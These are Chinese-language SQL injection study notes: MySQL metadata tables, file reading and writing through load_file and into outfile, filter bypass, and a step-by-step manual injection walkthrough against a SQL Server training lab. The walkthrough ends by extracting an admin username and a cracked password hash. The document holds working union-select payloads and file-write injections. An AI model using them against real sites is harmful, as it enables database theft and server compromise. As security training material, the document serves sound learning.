SQLi2

SQL注入 MySQL注入

image

一、information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

  • SCHEMATA表

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据

获取到数据库名称

1
2
3
4
5
6
7
8
9
10
11
mysql> use information_schema;
mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
+--------------------+----------------------------+
| SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8 |
| challenges | gbk |
| mysql | latin1 |
| performance_schema | utf8 |
| security | gbk |
+--------------------+----------------------------+
  • TABLES 表

存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

1
2
3
4
5
6
7
8
9
10
11
mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+---------------------------------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def | information_schema | COLUMNS |
| def | information_schema | COLUMN_PRIVILEGES |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)
  • COLUMNS 表

存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。

1
2
3
4
5
6
7
8
9
10
mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+----------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
+---------------+--------------------+----------------+
  • USER_PRIVILEGES 表

用户权限表。内容源自 mysql.user 授权表。是非标准表。

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | SELECT | YES |
| 'root'@'localhost' | def | INSERT | YES |
| 'root'@'localhost' | def | UPDATE | YES |
| 'root'@'localhost' | def | DELETE | YES |
| 'root'@'localhost' | def | CREATE | YES |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)
文件读写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
load_file():读取函数
into outfile或into dumpfile:导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

读取文件
-1 union select 1,load_file('文件路径'),3
写入文件
-1 union select 1,'x',3 into outfile '文件路径'--+
文件路径符号用/,如果是\,要写成\\

常见文件读取列表:

常见文件写入问题:魔术引号开关
magic_quotes_gpc

魔术引号及常见防护

低版本注入配合读取或暴力
字典或读取

SQL语句干扰符号:' " % ) } 等,具体看写法

参考地址:https://www.sqlsec.com/2020/11/mysql.html

load_file 文件读取

into outfile 或into dumpfile 文件写入

查询是否有写入的权限

1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

  • 文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'): root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

1 row in set (0.00 sec)

ERROR:
No query specified

mysql>

读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669

如果存在过滤,比如说,把select替换为fuck,可以使用大写绕过过滤,写为Select,mysql对关键字大小写不敏感

select * from user where name like ‘%qyw%’

那么前面带qyw或者后面带qyw的都会被搜出来

值传递的方式,get,post,cookie,request

cookie提交方式,抓包,添加数据

Cookie: 参数=参数值

request是全部接受,用get,post或cookie都可以接受,我们大部分是黑盒测试,不知道对方代码是怎么写的,所以不知道接收数据时采用的是什么方法,如果采用的是request,那随便提交,如果是单一的,在注入时要使用到一些方法,有一些可以修改绕过提交方式

server提交方式,可以获取浏览器的一些值$_SERVER详解 - 刷哥 - 博客园 (cnblogs.com)

json注入

提交的时候写成这种

{

​ “username”:”admin”,

​ “password”:”123456”

}

或者直接抓个包,按那种格式提交数据

image

Access注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
数据库类型:Access、MySQL、SQL server、
结构
access
表名
列名
数据
MySQL等
数据库名
表名
列名
数据
我们进行sql注入时,用到的权限是由连接数据库的用户权限决定的
access数据库在进行注入时,不需要union select,因为它只有一个数据库,直接查询信息就行,它也没有收集数据库名信息,表名信息的表,所以在就行注入时,就只能进行暴力猜
1、判断有几列
2、暴力猜

遗留问题:
access注入时,暴力破解如果列名或表名猜解不到
MSSQL(SQL server)注入

MSSQL注入

https://www.cnblogs.com/xishaonian/p/6173644.html

例题为墨者学堂 SQL手工注入漏洞测试(Sql Server数据库)

解题步骤:

1、判断是否是MSSQL

1
2
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

sysobjects是sql server独有的一个数据库

2、判断数据库版本

1
2
and 1=@@version--这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)='2005'--适用于无回显模式,后面的2005就是数据库版本,返回正常就是2005的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2005的话就返回正常)

3、判断回显

1
2
由于题目中3是字符类型,所以要加引号
?id=-2 union all select 1,2,'3',4

4、数据库名称

1
?id=-2 union all select 1,db_name(),'3',4

得到数据库名称为 mozhe_db_v2

5、爆表

1
?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

当xtype=’U’ 代表是用户建立的表

得到表名为manage

6、爆字段

1
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

解释一下col_name(),与object()

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

1
2
3
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4 得username

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password

说明mange表总共有3列,分别为:id、username、password

7、爆数据

1
?id=-2 union all select 1,(select username from manage) ,(select password from manage where username in ('admin_mz')),4

得到username为admin_mz

password为72e1bfc3f01b7583,MD5解密,password为97285101